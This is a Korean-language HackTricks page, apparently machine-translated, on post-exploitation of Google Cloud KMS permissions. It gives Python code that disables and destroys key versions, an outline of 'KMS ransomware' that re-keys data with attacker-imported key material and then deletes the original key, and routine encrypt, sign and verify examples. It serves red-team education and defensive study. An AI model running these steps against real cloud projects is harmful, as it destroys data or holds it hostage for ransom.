GCP - KMS Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

KMS

KMS에 대한 기본 정보는 다음에서 찾을 수 있습니다:

pageGCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

이 권한을 가진 공격자는 KMS 버전을 파괴할 수 있습니다. 이를 위해 먼저 키를 비활성화한 다음 파괴해야 합니다:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS 랜섬웨어

AWS에서는 KMS 리소스 정책을 수정하여 공격자 계정만 해당 키를 사용할 수 있도록 설정함으로써 KMS 키를 완전히 도용하는 것이 가능합니다. GCP에서는 이러한 리소스 정책이 존재하지 않기 때문에 이는 불가능합니다.

하지만, 전역 KMS 랜섬웨어를 수행하는 또 다른 방법이 있습니다. 이를 위해 다음 단계를 수행해야 합니다:

  • 공격자가 가져온 키 재료로 키의 새로운 버전을 생성합니다.

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • 기본 버전으로 설정하십시오 (앞으로 암호화되는 데이터에 대해).

  • 이전 버전으로 암호화된 이전 데이터를 새로운 버전으로 다시 암호화하십시오.

  • KMS 키를 삭제하십시오.

  • 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다.

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

cloudkms.cryptoKeyVersions.useToSign은 Google Cloud Platform (GCP)의 Key Management Service (KMS)에서 사용되는 권한입니다. 이 권한은 암호화 키 버전을 사용하여 서명을 생성할 수 있는 권한을 나타냅니다.

이 권한을 가진 사용자는 암호화 키 버전을 사용하여 서명을 생성하고, 데이터 무결성을 보장하기 위해 서명을 검증할 수 있습니다. 이는 암호화된 데이터의 무결성을 확인하고, 데이터가 손상되지 않았음을 보장하는 데 도움이 됩니다.

cloudkms.cryptoKeyVersions.useToSign 권한은 암호화 키 버전을 사용하여 서명을 생성하는 데 필요한 중요한 권한이므로, 이 권한을 부여하는 것은 신중하게 고려되어야 합니다. 권한을 부여할 때는 사용자의 신뢰성과 보안 요구 사항을 고려하여 결정해야 합니다.

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

cloudkms.cryptoKeyVersions.useToVerify는 Google Cloud Platform (GCP)의 Key Management Service (KMS)에서 사용되는 권한입니다. 이 권한은 암호화 키 버전을 사용하여 서명을 확인하는 데 사용됩니다. 이 권한을 가진 사용자는 암호화된 데이터의 무결성을 검증할 수 있습니다.

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新